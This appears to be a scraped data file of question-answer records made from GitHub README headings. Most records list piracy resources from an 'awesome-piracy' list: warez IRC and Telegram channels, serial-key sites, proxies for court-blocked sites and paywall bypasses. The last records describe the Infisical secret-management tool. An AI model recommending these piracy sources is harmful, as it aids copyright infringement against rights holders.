{"id": "gh_37518f28c442", "question": "How to: Acestreams", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [acestream.org](http://acestream.org/) Ace Stream is a peer-to-peer streaming application that lets you stream live sports and other content\n- [AceStreamSearch](https://acestreamsearch.com/en/) Ace Stream Broadcasts Search\n- [aceproxy](https://github.com/ValdikSS/aceproxy) Ace Stream HTTP Proxy. (abandonware)\n- [iktason/aceproxy](https://hub.docker.com/r/ikatson/aceproxy/) A docker image to run aceengine + aceproxy, e.g. to watch Torrent-TV.ru.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637608"}
{"id": "gh_cd8c426723da", "question": "How to: IRC Clients", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [weechat](https://github.com/weechat/weechat) :star2: The extensible chat client.\n- [irssi](https://irssi.org/) Your text mode chatting application since 1999.\n- [HexChat](https://hexchat.github.io/) HexChat is an IRC client based on XChat, but unlike XChat it’s completely free for both Windows and Unix-like systems.\n- [KVIrc](https://github.com/kvirc/KVIrc) Graphical IRC client\n- [mIRC](https://www.mirc.com/) IRC client for Windows\n- [Shout](https://github.com/erming/shout) The self-hosted web IRC client\n- [Kiwi IRC](https://kiwiirc.com/) Popular web-based IRC client\n- [TheLounge](https://hub.docker.com/r/linuxserver/thelounge/) TheLounge (a fork of shoutIRC) is a web IRC client that you host on your own server.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637615"}
{"id": "gh_a7cd49bca9ea", "question": "How to: IRC Networks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [irc.p2p-network.net](https://p2p-network.net/) P2P file-sharing network\n- [p2p-network.net channel list](https://search.mibbit.com/channels/p2p-network) List of all channels on the p2p-network.net IRC network\n- [Orpheus](https://orpheus.network/) Formerly known as Apollo\n- _Moviegods_  `irc://irc.abjects.net/MOVIEGODS` :star2: XDCC file-sharing network, join #mg-chat to continue downloading\n- _The Source_ `irc://irc.scenep2p.net/THE.SOURCE` Another XDCC source\n- _Beast-XDCC_ `irc://irc.abjects.net/BEAST-XDCC` One more XDCC source\n- _irc.undernet.org/bookz_ `irc://irc.undernet.org/bookz` For downloading ebooks (use `@search\n` for a list of available ebooks)\n- _irc.irchighway.net/ebooks_ `irc://irc.irchighway.net/ebooks` A nice, friendly IRC channel for trading ebooks", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637626"}
{"id": "gh_dd4893934ad5", "question": "How to: IRC Search Engines", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [xWeasel](http://xweasel.org) xWeasel is a free stand-alone Download Client based on IRC technology including a multifunctional XDCC Search Engine.\n- [ixIRC](https://ixirc.com/) ixIRC lets you search through 17 IRC networks, 32 channels, and over 189915 user-supplied XDCC packs.\n- [SunXDCC](http://sunxdcc.com/) Another XDCC file search engine\n- [xdcc.eu](http://www.xdcc.eu/) XDCC search engine indexing packets from a large number of networks", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637631"}
{"id": "gh_88595c00a73c", "question": "How to: Full Movies On", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/fullmoviesonyoutube](https://www.reddit.com/r/fullmoviesonyoutube/)\n- [/r/fullmovierequest](https://www.reddit.com/r/fullmovierequest/)\n- [/r/Fullmoviesonvimeo](https://www.reddit.com/r/Fullmoviesonvimeo/)\n- [/r/fulltvshowsonyoutube](https://www.reddit.com/r/fulltvshowsonyoutube/)\n- [/r/fulltvshowsonvimeo](https://www.reddit.com/r/fulltvshowsonvimeo/)\n- [/r/fullcartoonsonyoutube](https://www.reddit.com/r/fullcartoonsonyoutube/)\n- [/r/FullLengthFilms](https://www.reddit.com/r/FullLengthFilms/)\n- [/r/FullMoviesDailyMotion](https://www.reddit.com/r/FullMoviesDailyMotion)\n- [/r/1080pMoviesOnline](https://www.reddit.com/r/1080pMoviesOnline)\n- [fullmoviesandtv multireddit](https://www.reddit.com/user/Wiggly_Poop/m/fullmoviesandtv/) All of the above subreddits as a multireddit", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637637"}
{"id": "gh_895d1930f8dc", "question": "How to: Piracy Blogs and News", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [TorrentFreak](https://torrentfreak.com) :star2: TorrentFreak is a publication dedicated to bringing the latest news about copyright, privacy, and everything related to filesharing.\n- [TechWorm](https://www.techworm.net) Techworm is a Tech, Cyber-security news platform.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637642"}
{"id": "gh_55a44cf16ddc", "question": "How to: Content Discovery", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Trakt.tv](https://trakt.tv/) :star2: a platform that does many things, but primarily keeps track of TV shows and movies you watch.\n- [IMDb](https://www.imdb.com/) Find movies, TV shows, celebrities, and more\n- [Movieo](https://movieo.me/) Discover, organize and track over 250,000 movies.\n- [MetaCritic](https://www.metacritic.com) website that aggregates reviews of media products: music albums, video games, films, TV shows, and formerly, books.\n- [popular-movies](https://github.com/sjlu/popular-movies) Tries to create a list of popular movies based on a series of heuristics\n- [Letterboxd](https://letterboxd.com/) Your life in film\n- [Squawkr.io](https://www.squawkr.io/) sends notifications when movies are available for download.\n- [What is my movie?](https://www.whatismymovie.com/) AI-powered movie search. \"Use your own words, or search with titles, actors, directors, genres, etc. We find movies for you to watch.\"\n- [2160p BluRay Remux List](https://docs.google.com/spreadsheets/d/1qU8E0JT9JQk_BaBCxZS79tn7YmUyY4XBEpHPm3j16jI/edit) Complete list of all available 2160p remuxes\n- [Flox](https://github.com/devfake/flox) Flox is a self-hosted movie, series and anime watch list.\n- [TVmaze](https://www.tvmaze.com/) TVmaze is a community of TV lovers and dedicated contributors that discuss and help maintain TV information on the web.\n- [JustWatch](https://www.justwatch.com/) On JustWatch you can find out where to watch your favorite movies & TV series\n- [WhereYouWatch](https://whereyouwatch.com/latest-reports/) Follow upcoming movies and receive email alerts when they are out online as a download or stream – pirated or via retail.\n- [Flickmetrix](https://flickmetrix.com/) Movie database search engine with disc/Netflix/Prime filtering\n- [dvdsreleasedates.com](https://www.dvdsreleasedates.com/) The latest info on new Blu-ray and DVD releases\n- [Simkl](https://simkl.com/) Movie and TV show scrobbler similar to Trakt.tv", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637651"}
{"id": "gh_1a17aa4093be", "question": "How to: PreDB Sites", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Urban Dictionary: predb](https://www.urbandictionary.com/define.php?term=predb) Urban Dictionary definition\n- [PreDB.org](https://predb.org/)\n- [PreDB.me](https://predb.me/)\n- [PREdb](https://predb.ovh/)\n- [WarezBot](https://github.com/enzobes/WarezBot) Discord bot for scene releases.\n- [NSW Releases](http://nswdb.com/) Nintendo Switch scene releases.\n- [3DS Releases](http://3dsdb.com/) Nintedo 3DS scene releases.\n- [NSWDBot](https://github.com/HunterKing/NSWDBot) A discord bot for scraping NSWDB.com for \"Scene\" releases.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637656"}
{"id": "gh_f76c3b4e42b7", "question": "How to: Dashboards and Homepages", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Muximux](https://github.com/mescon/Muximux) A lightweight way to manage your HTPC\n- [Heimdall](https://github.com/linuxserver/Heimdall) An Application dashboard and launcher\n- [Organizr](https://github.com/causefx/Organizr) :star2: HTPC/Homelab Services Organizer - Written in PHP\n- [weboas.is](http://weboas.is/) Homepage for pirates\n- [Anonmasky](https://github.com/Anonmasky/anonmasky.github.io) Anonmasky is a beautiful start page for geeks out there. Clone of weboas.is.\n- [iDashboard-PHP](https://github.com/causefx/iDashboard-PHP) HTPC Dashboard to load website services, written in PHP (predecessor to Organizr)\n- [HTPC-Manager](https://github.com/Hellowlol/HTPC-Manager) A fully responsive interface to manage all your favorite software on your Htpc.\n- [Monitorr](https://github.com/Monitorr/Monitorr) Self-hosted PHP-based web front platform that displays the status of any web app or service in real-time.\n- [Logarr](https://github.com/Monitorr/logarr) \"Logarr\" is a self-hosted, PHP-based, single-page log consolidation tool which formats and displays log files for easy analysis.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637662"}
{"id": "gh_6753c6c37e0c", "question": "How to: Proxy Sites", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Unblocked](https://unblocked-pw.github.io/) :star2: a Proxy site for accessing your favorite blocked sites\n- [ByPassed](https://bypassed.wtf/) ByPassed is an all-in-one solution to unblock censored websites including thepiratebay, kickass, eztv, yts, extratorrent & more.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637667"}
{"id": "gh_4cb4c2cc0517", "question": "How to: File Sharing Tools", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [transfer.sh](https://transfer.sh/) Easy file sharing from the command line\n- [FilePizza](https://file.pizza/) Free peer-to-peer file transfers in your browser.\n- [DBREE](https://dbr.ee/) DBREE is a simplistic and easy way to upload and share any type of file.\n- [WeTransfer](https://wetransfer.com/) WeTransfer was founded in 2009 as the simplest way to send big files around the world.\n- [dmca.gripe](https://dmca.gripe/) A DMCA-resistant, permanent file hosting service.\n- [FileBin](https://filebin.net/) Convenient file sharing on the web, without registration.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637672"}
{"id": "gh_0cf6f4b3066b", "question": "How to: Stream Synchronisation", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/Movie_Club](https://www.reddit.com/r/Movie_Club) Where you can get together with strangers and watch a great movie every week!\n- [sync](https://github.com/calzoneman/sync/) Node.JS Server and JavaScript/HTML Client for synchronizing online media\n- [watch2gether](https://www.watch2gether.com/) Enjoy the internet in sync with your friends. Watch videos, listen to music or go shopping on Watch2Gether.\n- [SyncLounge](https://synclounge.tv/) :star2: A third-party tool that allows you to watch Plex in sync with your friends/family, wherever you are.\n- [Netflix Party](https://chrome.google.com/webstore/detail/netflix-party/oocalimimngaihdkbihfgmpkcpnmlaoa/related) Netflix Party is a Chrome extension for watching Netflix remotely with other users.\n- [CyTube](https://cytu.be/) Channel-based shared streaming platform for synchronized viewing of YouTube and Google Drive videos\n- [ArconaiTV](https://www.arconaitv.us/) Another stream sharing platform with a nice UI\n- [&chill](https://andchill.tv/) Watch videos with people.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637677"}
{"id": "gh_0e24f64e2323", "question": "How to: Telegram Piracy", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Raymond's Piracy Group](https://t.me/raymondfreesoftware) A group of 5000+ pirates chatting on Telegram. This group replaces the now-defunct piracy group which suicideboy used to run.\n- [Piracy Links Portal](https://t.me/PiracyLinks) Official invite links portal for piracy groups & channels.\n- [piratebazaar](https://t.me/piratebazaar) Curated list of piracy-related links.\n- [@itorrentsearchbot](https://t.me/itorrentsearchbot) Search bot for finding torrent and magnet links on 1337x.to by keyword search\n- [@vkmusic_bot](https://telegram.me/vkmusic_bot) Find and download pretty much any song\n- [@RickyChristanto](https://t.me/RickyChristanto) Channel for movie releases, usually from YTS in MKV format.\n- [iMediaShare channel](https://t.me/iMediaShare) Movies, TV shows, apps, and more\n- [@movies_inc](https://t.me/movies_inc) Another Telegram channel for downloading movies\n- [@Qualitymovies](https://t.me/Qualitymovies) Lots of 720p Blu-Ray movie releases\n- [@MusicHuntersBot](https://t.me/MusicHuntersBot) Another music downloader bot\n- [@DeezerMusicBot](https://t.me/DeezerMusicBot) Music bot which downloads tracks from Deezer\n- [SMLoadrCommuntiy](https://t.me/SMLoadrCommunity) Telegram community for SMLoadr\n- [aria-telegram-mirror-bot](https://github.com/out386/aria-telegram-mirror-bot) A Telegram bot to download files via HTTP(S)/BitTorrent and upload them to Google Drive.\n- [CrackWatch trackers](https://www.reddit.com/r/CrackWatch/comments/b2ywcn/crackwatch_telegram_tracker/) Telegram channels for CrachWatch.com games & cracks by /u/SHADOWSLIFER.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637684"}
{"id": "gh_11eddfe53210", "question": "How to: Miscellaneous", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [UK ISP Court Orders](http://www.ukispcourtorders.co.uk/) :star2: List of websites recently taken down in the UK by the High Court. Use a VPN to access them, they must be pretty good!\n- [Counterfeit and Piracy Watch List 2018](https://torrentfreak.com/images/tradoc_157564.pdf)\n- [/r/EmbyShares](https://www.reddit.com/r/EmbyShares) This subreddit is dedicated to the sharing of Emby servers.\n- [/r/freefolk](https://www.reddit.com/r/freefolk) Streams for new episodes of Game of Thrones\n- [/r/ProshotMusicals](https://www.reddit.com/r/ProShotMusicals) Subreddit for all those theatre obsessed people who want pro shots instead of bootlegs to be seen.\n- [Shodan](https://www.shodan.io/) Shodan is the world's first search engine for Internet-connected devices.\n- [Pi-hole](https://pi-hole.net/) Pi-hole is a Linux network-level advertisement and internet tracker blocking application which acts as a DNS sinkhole\n- [How to use eMule in 2018](https://archive.is/j1T6o) An up-to-date guide detailing how to use eMule to download rare content from the eDonkey and Kad P2P networks.\n- [Anon.to](https://anon.to/) URL shortener to de-referer or null-referer your links.\n- [Movie Release Types](https://i.imgur.com/kEOrKJT.png) Table of common movie release types, their labels, and descriptions.\n- [How To Host \"Questionable\" Websites v4.0](https://weboas.is/media/host.pdf) PDF from weboas.is. There are also [PNG](https://weboas.is/media/host.png), [PSD](https://weboas.is/media/host.psd), and [TXT](https://weboas.is/media/host.txt) versions\n- [Privacy.com](https://privacy.com/) Privacy creates secure virtual cards and completes checkout forms for you, saving you time and money while masking your real card details.\n- [/f/Piracy](https://raddle.me/f/Piracy) Raddle forum for Piracy\n- [/s/piracy](https://saidit.net/s/piracy) Saidit forum for Piracy - unofficially the backup forum for /r/Piracy if/when it is banned by the Reddit moderators.\n- [/v/piracy](https://voat.co/v/piracy) Voat forum for Piracy - another potential fallback option for /r/Piracy.\n- [2019 Oscar DVD Screeners](https://whereyouwatch.com/articles/here-are-the-2019-oscar-dvd-screeners/) List of DVD screeners for 2019's Oscars\n- [Academy Awards 2019 Screeners Megathread](https://www.reddit.com/r/Piracy/comments/aaqc0b/academy_awards_2019_screeners_megathread/) Post by /u/idoideas listing all available DVDSCR releases for 2019\n- [iNFekt](https://infekt.ws/) A text viewer application that has been carefully designed around its main task: viewing and presenting NFO files.\n- [NFForce](http://nfforce.temari.fr/) Another NFO viewer.\n- [TheTrove](https://thetrove.net/) The Trove is a non-profit website dedicated to content archival and long-term preservation of RPGs.\n- [serials](http://www.serials.ws/) Serial keys for software that may or may not work.\n- [scenerules](https://scenerules.org/) NFOs with rules and guidelines for scene releasing standards.\n- [SceneLinkList](https://www.scenelinklist.com/) SceneLinkList is a project initiated to display and share as many scene and warez links as possible.\n- [castnow](https://github.com/xat/castnow) Castnow is a command-line utility that can be used to play back media files on your Chromecast device.\n- [Grabber](https://grabber.co.in/) Download stock images from Shutterstock\n- [The Pirate Society](https://thepiratesociety.org/forums/) A mysterious members-only forum for pirates.\n- [Bandersnatch Interactive Player](https://mehotkhan.github.io/BandersnatchInteractive/) Online video player for watching the new interactive episode of Black Mirror, \"Bandersnatch\".\n- [Multiup](https://multiup.org/) Website which allows you to upload files to several different file hosting websites.\n- [DirtyWarez](https://dirtywarez.org/) Lists top warez sites with Alexa rankings and other metadata.\n- [MacGuffin](https://github.com/hwkns/macguffin) Automated tools for handling Scene and P2P film releases.\n- [PiracyArchive](https://github.com/nid666/PiracyArchive) A complete backup of the Reddit /r/Piracy subreddit\n- [List of warez groups](https://en.wikipedia.org/wiki/List_of_warez_groups) Wikipedia's list of warez groups and individuals.\n- [netflix-proxy](https://github.com/ab77/netflix-proxy/) Smart DNS proxy to watch Netflix out-of-region\n- [k8s-usenet](https://github.com/aldoborrero/k8s-usenet) A collection of Helm (Kubernetes) charts related to different Usenet services (sabnzbd, radarr, sonarr...).\n- [Outline](https://outline.com/) Designed to remove ads, comments, and other junk from news articles but conveniently also bypasses paywalls", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637696"}
{"id": "gh_6f7af6ada0db", "question": "How to: Contribute", "question_body": "About Igglybuff/awesome-piracy", "answer": "Contributions welcome! Read the [contribution guidelines](contributing.md) first.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637701"}
{"id": "gh_20af6d8a4c7e", "question": "How to: Introduction", "question_body": "About Infisical/infisical", "answer": "**[Infisical](https://infisical.com)** is the open source secret management platform that teams use to centralize their application configuration and secrets like API keys and database credentials as well as manage their internal PKI.\n\nWe're on a mission to make security tooling more accessible to everyone, not just security teams, and that means redesigning the entire developer experience from ground up.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889206"}
{"id": "gh_2a8d23532d82", "question": "How to: Secrets Management:", "question_body": "About Infisical/infisical", "answer": "- **[Dashboard](https://infisical.com/docs/documentation/platform/project)**: Manage secrets across projects and environments (e.g. development, production, etc.) through a user-friendly interface.\n- **[Secret Syncs](https://infisical.com/docs/integrations/secret-syncs/overview)**: Sync secrets to platforms like [GitHub](https://infisical.com/docs/integrations/cicd/githubactions), [Vercel](https://infisical.com/docs/integrations/cloud/vercel), [AWS](https://infisical.com/docs/integrations/cloud/aws-secret-manager), and use tools like [Terraform](https://infisical.com/docs/integrations/frameworks/terraform), [Ansible](https://infisical.com/docs/integrations/platforms/ansible), and more.\n- **[Secret versioning](https://infisical.com/docs/documentation/platform/secret-versioning)** and **[Point-in-Time Recovery](https://infisical.com/docs/documentation/platform/pit-recovery)**: Keep track of every secret and project state; roll back when needed.\n- **[Secret Rotation](https://infisical.com/docs/documentation/platform/secret-rotation/overview)**: Rotate secrets at regular intervals for services like [PostgreSQL](https://infisical.com/docs/documentation/platform/secret-rotation/postgres-credentials), [MySQL](https://infisical.com/docs/documentation/platform/secret-rotation/mysql), [AWS IAM](https://infisical.com/docs/documentation/platform/secret-rotation/aws-iam), and more.\n- **[Dynamic Secrets](https://infisical.com/docs/documentation/platform/dynamic-secrets/overview)**: Generate ephemeral secrets on-demand for services like [PostgreSQL](https://infisical.com/docs/documentation/platform/dynamic-secrets/postgresql), [MySQL](https://infisical.com/docs/documentation/platform/dynamic-secrets/mysql), [RabbitMQ](https://infisical.com/docs/documentation/platform/dynamic-secrets/rabbit-mq), and more.\n- **[Secret Scanning and Leak Prevention](https://infisical.com/docs/cli/scanning-overview)**: Prevent secrets from leaking to git.\n- **[Infisical Kubernetes Operator](https://infisical.com/docs/documentation/getting-started/kubernetes)**: Deliver secrets to your Kubernetes workloads and automatically reload deployments.\n- **[Infisical Agent](https://infisical.com/docs/infisical-agent/overview)**: Inject secrets into applications without modifying any code logic.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889222"}
{"id": "gh_b81933fee03a", "question": "How to: Certificate Management", "question_body": "About Infisical/infisical", "answer": "- **[Internal CA](https://infisical.com/docs/documentation/platform/pki/private-ca)**: Create and manage a private\n  CA hierarchy directly within Infisical.\n- **[External CA](https://infisical.com/docs/documentation/platform/pki/ca/external-ca)**: Integrate with third-party certificate authorities such as Let’s Encrypt, DigiCert, Microsoft AD CS, and more to leverage existing PKI infrastructure\n  or issue publicly trusted certificates.\n- **[Certificate Lifecycle Management](https://infisical.com/docs/documentation/platform/pki/certificates/overview)**: Create certificate [profiles](https://infisical.com/docs/documentation/platform/pki/certificates/profiles) and [policies](https://infisical.com/docs/documentation/platform/pki/certificates/policies) to control how certificates are issued, including [enrollment methods](https://infisical.com/docs/documentation/platform/pki/enrollment-methods/overview) such as API, ACME, or EST. Manage the full lifecycle from issuance to renewal and [revocation](https://infisical.com/docs/documentation/platform/pki/certificates/certificates#guide-to-revoking-certificates) with CRL and inventory tracking.\n- **[Certificate Syncs](https://infisical.com/docs/documentation/platform/pki/certificate-syncs/overview)**: Sync certificates to external platforms like [AWS Certificate Manager](https://infisical.com/docs/documentation/platform/pki/certificate-syncs/aws-certificate-manager) and [Azure Key Vault](https://infisical.com/docs/documentation/platform/pki/certificate-syncs/azure-key-vault).\n- **[Alerting](https://infisical.com/docs/documentation/platform/pki/alerting)**: Configure alerting for expiring CA and end-entity certificates.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889233"}
{"id": "gh_de4edf01265b", "question": "How to: Infisical Key Management System (KMS):", "question_body": "About Infisical/infisical", "answer": "- **[Cryptographic Keys](https://infisical.com/docs/documentation/platform/kms)**: Centrally manage keys across projects through a user-friendly interface or via the API.\n- **[Encrypt and Decrypt Data](https://infisical.com/docs/documentation/platform/kms#guide-to-encrypting-data)**: Use symmetric keys to encrypt and decrypt data.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889238"}
{"id": "gh_722065ef80ff", "question": "How to: Infisical SSH", "question_body": "About Infisical/infisical", "answer": "- **[Signed SSH Certificates](https://infisical.com/docs/documentation/platform/ssh)**: Issue ephemeral SSH credentials for secure, short-lived, and centralized access to infrastructure.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889243"}
{"id": "gh_05940f74ce89", "question": "How to: General Platform:", "question_body": "About Infisical/infisical", "answer": "- **Authentication Methods**: Authenticate machine identities with Infisical using a cloud-native or platform agnostic authentication method ([Kubernetes Auth](https://infisical.com/docs/documentation/platform/identities/kubernetes-auth), [GCP Auth](https://infisical.com/docs/documentation/platform/identities/gcp-auth), [Azure Auth](https://infisical.com/docs/documentation/platform/identities/azure-auth), [AWS Auth](https://infisical.com/docs/documentation/platform/identities/aws-auth), [OIDC Auth](https://infisical.com/docs/documentation/platform/identities/oidc-auth/general), [Universal Auth](https://infisical.com/docs/documentation/platform/identities/universal-auth)).\n- **[Access Controls](https://infisical.com/docs/documentation/platform/access-controls/overview)**: Define advanced authorization controls for users and machine identities with [RBAC](https://infisical.com/docs/documentation/platform/access-controls/role-based-access-controls), [additional privileges](https://infisical.com/docs/documentation/platform/access-controls/additional-privileges), [temporary access](https://infisical.com/docs/documentation/platform/access-controls/temporary-access), [access requests](https://infisical.com/docs/documentation/platform/access-controls/access-requests), [approval workflows](https://infisical.com/docs/documentation/platform/pr-workflows), and more.\n- **[Audit logs](https://infisical.com/docs/documentation/platform/audit-logs)**: Track every action taken on the platform.\n- **[Self-hosting](https://infisical.com/docs/self-hosting/overview)**: Deploy Infisical on-prem or cloud with ease; keep data on your own infrastructure.\n- **[Infisical SDK](https://infisical.com/docs/sdks/overview)**: Interact with Infisical via client SDKs ([Node](https://infisical.com/docs/sdks/languages/node), [Python](https://github.com/Infisical/python-sdk-official?tab=readme-ov-file#infisical-python-sdk), [Go](https://infisical.com/docs/sdks/languages/go), [Ruby](https://infisical.com/docs/sdks/languages/ruby), [Java](https://infisical.com/docs/sdks/languages/java), [.NET](https://infisical.com/docs/sdks/languages/csharp))\n- **[Infisical CLI](https://infisical.com/docs/cli/overview)**: Interact with Infisical via CLI; useful for injecting secrets into local development and CI/CD pipelines.\n- **[Infisical API](https://infisical.com/docs/api-reference/overview/introduction)**: Interact with Infisical via API.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889250"}
{"id": "gh_5c1a4492078b", "question": "How to: Getting started", "question_body": "About Infisical/infisical", "answer": "Check out the [Quickstart Guides](https://infisical.com/docs/documentation/getting-started/overview)\n\n| Use Infisical Cloud                                                                                                                                     | Deploy Infisical on premise                                                          |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |\n| The fastest and most reliable way to\nget started with Infisical is signing up\nfor free to [Infisical Cloud](https://app.infisical.com/login). |\nView all [deployment options](https://infisical.com/docs/self-hosting/overview) |", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24514, "answer_score": 10, "has_code": true, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889257"}
{"id": "gh_b8ea1d7dd632", "question": "How to: Run Infisical locally", "question_body": "About Infisical/infisical", "answer": "To set up and run Infisical locally, make sure you have Git and Docker installed on your system. Then run the command for your system:\n\nLinux/macOS:\n\n```console\ngit clone https://github.com/Infisical/infisical && cd \"$(basename $_ .git)\" && cp .env.dev.example .env && docker compose -f docker-compose.prod.yml up\n```\n\nWindows Command Prompt:\n\n```console\ngit clone https://github.com/Infisical/infisical && cd infisical && copy .env.dev.example .env && docker compose -f docker-compose.prod.yml up\n```\n\nCreate an account at `http://localhost:80`", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24514, "answer_score": 10, "has_code": true, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889263"}
{"id": "gh_7976e935f690", "question": "How to: Scan and prevent secret leaks", "question_body": "About Infisical/infisical", "answer": "On top managing secrets with Infisical, you can also [scan for over 140+ secret types]() in your files, directories and git repositories.\n\nTo scan your full git history, run:\n\n```\ninfisical scan --verbose\n```\n\nInstall pre commit hook to scan each commit before you push to your repository\n\n```\ninfisical scan install --pre-commit-hook\n```\n\nLearn about Infisical's code scanning feature [here](https://infisical.com/docs/cli/scanning-overview)", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24514, "answer_score": 10, "has_code": true, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889269"}
{"id": "gh_ccf8981923c6", "question": "How to: Open-source vs. paid", "question_body": "About Infisical/infisical", "answer": "This repo available under the [MIT expat license](https://github.com/Infisical/infisical/blob/main/LICENSE), with the exception of the `ee` directory which will contain premium enterprise features requiring a Infisical license.\n\nIf you are interested in managed Infisical Cloud of self-hosted Enterprise Offering, take a look at [our website](https://infisical.com/) or [book a meeting with us](https://infisical.cal.com/vlad/infisical-demo).", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889274"}
